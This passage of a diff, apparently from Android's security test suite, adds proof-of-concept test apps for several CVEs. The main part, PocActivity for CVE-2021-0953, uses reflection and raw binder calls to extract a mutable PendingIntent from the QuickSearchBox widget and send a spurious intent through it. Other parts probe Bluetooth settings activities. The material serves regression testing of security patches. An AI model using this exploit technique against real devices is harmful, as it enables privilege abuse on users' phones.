+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0953"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-0953"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".PocVulnerableActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.action.WEB_SEARCH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 0000000..13651bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 0000000..2d3268b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/pocVulnerableActivity"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 0000000..c027ecf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumption_failure">-1</integer>
+    <integer name="pass">0</integer>
+    <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 0000000..6998865
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="callback_key">testMutablePendingIntentCallback</string>
+    <string name="message_key">testMutablePendingIntentMessage</string>
+    <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 0000000..ee5dac6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    public static final int TIMEOUT_SEC = 20;
+    public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+    @Test
+    public void testMutablePendingIntent() {
+        final Context context = getApplicationContext();
+        PocStatus status = new PocStatus();
+        CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+        RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+            PocStatus pocStatus = new PocStatus();
+            pocStatus.setErrorMessage(
+                    result.getString(context.getResources().getString(R.string.message_key)));
+            pocStatus.setStatusCode(
+                    result.getInt(context.getResources().getString(R.string.status_key)));
+            callbackReturn.complete(pocStatus);
+        });
+        launchActivity(PocActivity.class, cb); // start activity with callback
+        try {
+            // blocking while the remotecallback is unset
+            status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+        } catch (InterruptedException | ExecutionException | TimeoutException e) {
+            assumeNoException(e);
+        }
+        assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+                .getInteger(R.integer.assumption_failure));
+        assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+                context.getResources().getInteger(R.integer.fail));
+    }
+
+    private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+        final Context context = getApplicationContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(TEST_PACKAGE, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+        context.startActivity(intent);
+    }
+
+    private class PocStatus {
+        private int statusCode;
+        private String errorMessage;
+
+        public void setStatusCode(int status) {
+            statusCode = status;
+        }
+
+        public void setErrorMessage(String message) {
+            errorMessage = message;
+        }
+
+        public int getStatusCode() {
+            return statusCode;
+        }
+
+        public String getErrorMessage() {
+            return errorMessage;
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 0000000..c28bd75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+    public static int APPWIDGET_ID;
+    public static int REQUEST_BIND_APPWIDGET = 0;
+    public static final int TIMEOUT_MS = 10000;
+
+    Class mClRemoteViews;
+    Field mActions, mResponse, mFldPendingIntent;
+    Method mGetDeclaredField;
+    Object mObjSetOnClickResponse;
+    PendingIntent mPendingIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        AppWidgetHost appWidgetHost;
+        AppWidgetManager appWidgetManager;
+        PocActivity pocActivity = PocActivity.this;
+        appWidgetManager = AppWidgetManager.getInstance(this);
+        appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+        APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+        Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+        intent.putExtra("appWidgetId", APPWIDGET_ID);
+        intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+                "com.android.quicksearchbox.SearchWidgetProvider"));
+        try {
+            PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+        } catch (ActivityNotFoundException e) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Could not start activity");
+            return;
+        }
+        String settingsPkgName = "";
+        PackageManager pm = getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        for (ResolveInfo ri : ris) {
+            if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+                settingsPkgName = ri.activityInfo.packageName;
+            }
+        }
+        if (settingsPkgName.equals("")) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Settings package not found/AllowBindAppWidgetActivity not found");
+            return;
+        }
+        if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to start AllowBindAppWidgetActivity");
+            return;
+        }
+        boolean buttonClicked = false;
+        BySelector selector = By.clickable(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        for (UiObject2 object : objects) {
+            String objectText = object.getText();
+            String objectClass = object.getClassName();
+            if (objectText == null) {
+                continue;
+            }
+            if (objectText.equalsIgnoreCase("CREATE")) {
+                object.click();
+                buttonClicked = true;
+                break;
+            }
+        }
+        if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "'Create' button not found/clicked");
+            return;
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        PocActivity pocActivity = PocActivity.this;
+        if (requestCode == REQUEST_BIND_APPWIDGET) {
+            if (resultCode == -1) {
+                APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+            }
+        }
+        RemoteViews remoteViews =
+                pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+        if (remoteViews == null) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "remoteViews is null as callBinder() failed");
+            return;
+        }
+        try {
+            mClRemoteViews = Class.forName("android.widget.RemoteViews");
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Class android.widget.RemoteViews not found");
+            return;
+        }
+        Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+        Class clSetOnClickResponse = null;
+        Class clRemoteResponse = null;
+        for (Class c : rvSubClasses) {
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+                clSetOnClickResponse = c;
+            }
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+                clRemoteResponse = c;
+            }
+        }
+        try {
+            mActions = mClRemoteViews.getDeclaredField("mActions");
+        } catch (NoSuchFieldException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mActions field not found");
+            return;
+        }
+        mActions.setAccessible(true);
+        try {
+            mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+            mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+            mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mResponse field not found");
+            return;
+        }
+        mResponse.setAccessible(true);
+        try {
+            mFldPendingIntent =
+                    (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mPendingIntent field not found");
+            return;
+        }
+        mFldPendingIntent.setAccessible(true);
+        try {
+            mPendingIntent = (PendingIntent) mFldPendingIntent
+                    .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+        } catch (IllegalAccessException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to get PendingIntent");
+            return;
+        }
+        Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+        spuriousIntent.setPackage(getApplicationContext().getPackageName());
+        spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+        } catch (PendingIntent.CanceledException e) {
+            // this is expected when vulnerability is not present and hence return
+            sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+            return;
+        }
+        sendTestResult(getResources().getInteger(R.integer.fail),
+                "Device is vulnerable to b/184046278!!"
+                        + " Mutable PendingIntent in QuickSearchBox widget");
+    }
+
+    private IBinder getService(String service) {
+        try {
+            Class clServiceManager = Class.forName("android.os.ServiceManager");
+            Method mtGetService = clServiceManager.getMethod("getService", String.class);
+            return (IBinder) mtGetService.invoke(null, service);
+        } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+                | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Failed to invoke android.os.ServiceManager service");
+            return null;
+        }
+    }
+
+    private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+        String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+        int GET_APP_WIDGET_VIEWS = 7;
+        Parcel data = Parcel.obtain();
+        Parcel reply = Parcel.obtain();
+        RemoteViews remoteViews = null;
+        IBinder service = getService("appwidget");
+        if (service != null) {
+            data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+            data.writeString(callingPackage);
+            data.writeInt(appWidgetId);
+            try {
+                service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+            } catch (RemoteException e) {
+                e.printStackTrace();
+                sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                        "service.transact() failed due to RemoteException");
+                return null;
+            }
+            reply.readException();
+            if (reply.readInt() != 0) {
+                remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+            }
+        }
+        return remoteViews;
+    }
+
+    private void sendTestResult(int statusCode, String errorMessage) {
+        RemoteCallback cb =
+                (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+        Bundle res = new Bundle();
+        res.putString(getString(R.string.message_key), errorMessage);
+        res.putInt(getString(R.string.status_key), statusCode);
+        finish();
+        cb.sendResult(res); // update callback in test
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 0000000..b99ba9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.vulnerable_activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index b40e56e..ee33256 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -37,5 +37,5 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
-    sdk_version: "current",
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a..46f1613 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
 import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.UiDevice;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@
         try {
             device.wakeUp();
         } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
         }
         device.pressHome();
     }
 
+    private String getSettingsPkgName() {
+        PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        String name = "com.android.settings";
+        try {
+            ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+            ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+                    PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+            if (info != null && info.activityInfo != null) {
+                name = info.activityInfo.packageName;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+        return name;
+    }
+
+    private boolean hasFeature(String feature) {
+        return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+    }
+
+    private boolean isTV() {
+        return hasFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
     @Test
     public void testPermission() {
+        String pkg = getSettingsPkgName();
+        String cls = "";
+        if (isTV()) {
+            cls = ".accessories.BluetoothPairingDialog";
+        } else {
+            cls = ".bluetooth.BluetoothPairingDialog";
+        }
+
         try {
             Intent intent = new Intent(Intent.ACTION_MAIN);
-            intent.setClassName("com.android.settings",
-                    "com.android.settings.bluetooth.BluetoothPairingDialog");
+            intent.setClassName(pkg, pkg + cls);
             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             getApplicationContext().startActivity(intent);
-        } catch (SecurityException e) {
-            return;
+        } catch (Exception ex) {
+            ex.printStackTrace();
+            if (ex instanceof SecurityException) {
+                return;
+            }
+            assumeNoException(ex);
         }
 
         /* If SecurityException is not thrown, it indicates absence of fix */
-        throw new RuntimeException("Vulnerable to b/194300867 !!");
+        fail("Vulnerable to b/194300867 !!");
     }
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index bcbf54f..d3e2302 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39626",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
new file mode 100644
index 0000000..f097825
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39626"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <application
+        android:testOnly="true"
+        android:label="CVE-2021-39626"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39626" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
new file mode 100644
index 0000000..cd24540
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int TIMEOUT = 5000;
+    private static Context context;
+
+    private static String getSettingsPkgName() {
+        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+        ComponentName settingsComponent =
+                settingsIntent.resolveActivity(context.getPackageManager());
+        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                : "com.android.settings";
+        assumeNotNull(pkgName);
+        return pkgName;
+    }
+
+    private void openApplication(String applicationName) {
+        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+        assumeNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    @Test
+    public void testBtDiscoverable() {
+        // Initialize UiDevice instance
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        context = InstrumentationRegistry.getInstrumentation().getContext();
+        BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+        assumeNotNull(btAdapter);
+
+        // Save the state of bluetooth adapter to reset after the test
+        boolean btState = btAdapter.isEnabled();
+        if (!btState) {
+            // If bluetooth is disabled, enable it and wait for adapter startup to complete
+            assumeTrue(btAdapter.enable());
+            try {
+                Thread.sleep(TIMEOUT);
+            } catch (Exception e) {
+                assumeNoException(e);
+            }
+        }
+        assumeTrue(btAdapter.isEnabled());
+
+        // Launch the PoC application and ensure that it launches bluetooth settings
+        openApplication(context.getPackageName());
+        assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
+
+        boolean isBtDiscoverable =
+                (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
